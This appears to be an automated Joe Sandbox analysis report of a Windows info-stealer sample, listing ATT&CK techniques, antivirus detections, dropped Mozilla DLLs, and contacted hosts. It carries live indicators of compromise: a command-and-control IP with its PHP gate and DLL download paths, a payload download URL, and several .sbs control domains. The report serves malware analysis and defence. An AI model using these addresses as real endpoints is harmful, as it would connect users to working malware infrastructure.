Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	411 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	145 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
FdjDPFGTZS.exe	100%	Avira	HEUR/AGEN.1310458
FdjDPFGTZS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\userCAFIEBKKJJ.exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	100%	Joe Sandbox ML
C:\Users\userCAFIEBKKJJ.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\userCAFIEBKKJJ.exe	32%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	32%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://player.vimeo.com	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://46.8.231.109/c4754d4f680ead72.php	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://46.8.231.109/	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	URL Reputation	malware
https://login.steampowered.com/	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	100%	URL Reputation	malware
https://recaptcha.net	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	100%	URL Reputation	malware
http://upx.sf.net	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://46.8.231.109	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	100%	URL Reputation	malware
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://help.steampowered.com/	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
steamcommunity.com	104.102.49.254	true	false	unknown
nsdm.cumpar-auto-orice-tip.ro	147.45.44.104	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
frizzettei.sbs	unknown	unknown	true	unknown
laddyirekyi.sbs	unknown	unknown	true	unknown
wickedneatr.sbs	unknown	unknown	true	unknown
bemuzzeki.sbs	unknown	unknown	true	unknown
invinjurhey.sbs	unknown	unknown	true	unknown
time.windows.com	unknown	unknown	false	unknown
isoplethui.sbs	unknown	unknown	true	unknown
exilepolsiy.sbs	unknown	unknown	true	unknown
exemplarou.sbs	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	true		unknown
http://46.8.231.109/c4754d4f680ead72.php	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true	URL Reputation: malware	unknown
laddyirekyi.sbs	true		unknown
isoplethui.sbs	true		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe	false		unknown
http://46.8.231.109/	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	URL Reputation: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	true	URL Reputation: malware	unknown
invinjurhey.sbs	true		unknown
exilepolsiy.sbs	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true	URL Reputation: malware	unknown
bemuzzeki.sbs	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	true	URL Reputation: malware	unknown
exemplarou.sbs	true		unknown
wickedneatr.sbs	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	false		unknown
https://duckduckgo.com/chrome_newtab	CGIEGHJE.1.dr	false	URL Reputation: safe	unknown
https://player.vimeo.com	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	CGIEGHJE.1.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpry=----EHCGIJDHDGDBGDGCGCFHdefaultrelease	MSBuild.exe, 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/	MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpr	MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.gstatic.cn/recaptcha/	MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	CGIEGHJE.1.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllt	MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://recaptcha.net/recaptcha/;	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpg	MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.youtube.com	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dllb	MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/c4754d4f680ead72.phpste&	MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://medal.tv	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109JZ	MSBuild.exe, 00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=ZNV_	MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	CGIEGHJE.1.dr	false	URL Reputation: safe	unknown
https://isoplethui.sbs/api?PcI	MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://s.ytimg.com;	MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.steampowered.com/	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109FIEBKKJJdata;	MSBuild.exe, 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/c4754d4f680ead72.phpComN	MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://steam.tv/	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	false		unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1830059890.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		unknown
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	CGIEGHJE.1.dr	false		unknown
https://exemplarou.sbs/api	MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	false		unknown
https://recaptcha.net	MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	CGIEGHJE.1.dr	false	URL Reputation: safe	unknown
https://wickedneatr.sbs/api	MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exeI	MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sketchfab.com	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	CGIEGHJE.1.dr	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/	MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://127.0.0.1:27060	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/c4754d4f680ead72.php%	MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109	MSBuild.exe, 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://46.8.231.109/c4754d4f680ead72.php#	MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	CGIEGHJE.1.dr	false	URL Reputation: safe	unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exeY	MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R	MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpESSj?	MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.google.com/recaptcha/	MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	false		unknown
https://help.steampowered.com/	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	KFIDBAFHCAKFBGCBFHIJ.1.dr	false		unknown
https://api.steampowered.com/	MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	false		unknown
https://store.steampowered	MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/	MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.1503500018.0000000001427000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/c4754d4f680ead72.phpramV?	MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll:	MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	CGIEGHJE.1.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dllE	MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
147.45.44.104	nsdm.cumpar-auto-orice-tip.ro	Russian Federation	2895	FREE-NET-ASFREEnetEU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528327
Start date and time:	2024-10-07 19:32:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FdjDPFGTZS.exe renamed because original name is a hash value
Original Sample Name:	6452d41749e8d8658d229a7789541a51.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@12/34@11/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 87 Number of non-executed functions: 230
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9, 40.126.32.76, 20.190.160.22, 40.126.32.133, 40.126.32.140, 40.126.32.138, 20.190.160.20, 20.190.160.14, 40.126.32.74, 199.232.214.172, 52.168.117.173, 172.202.163.200, 20.242.39.171, 52.149.20.212, 52.165.164.15
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, prdv4a.aadg.msidentity.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, twc.trafficmanager.net, otelrules.afd.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: FdjDPFGTZS.exe

Simulations

Behavior and APIs

Time	Type	Description
13:33:25	API Interceptor	3x Sleep call for process: MSBuild.exe modified
13:33:27	API Interceptor	2x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/
	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109/
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://doccloudshareddrive.com/?auth=1&shareable=true&access=restricted&check_type=password&timestamp=2024-10-07T16%3A53%3A27.609Z&priority=high&include_details=true	Get hash	malicious	Unknown	Browse	13.107.246.45
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.246.45
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.45
	lCVFGKfczi.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	z71htmivzKAUpOkr2J.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	13.107.246.45
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Payment.vbs	Get hash	malicious	FormBook	Browse	13.107.246.45
nsdm.cumpar-auto-orice-tip.ro	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
steamcommunity.com	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
